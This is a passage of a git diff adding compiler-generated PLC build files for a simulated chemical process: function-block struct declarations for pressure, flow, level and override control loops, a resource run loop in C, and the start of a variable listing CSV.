__DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +53;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +54;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +66;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +67;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +71;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +72;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; 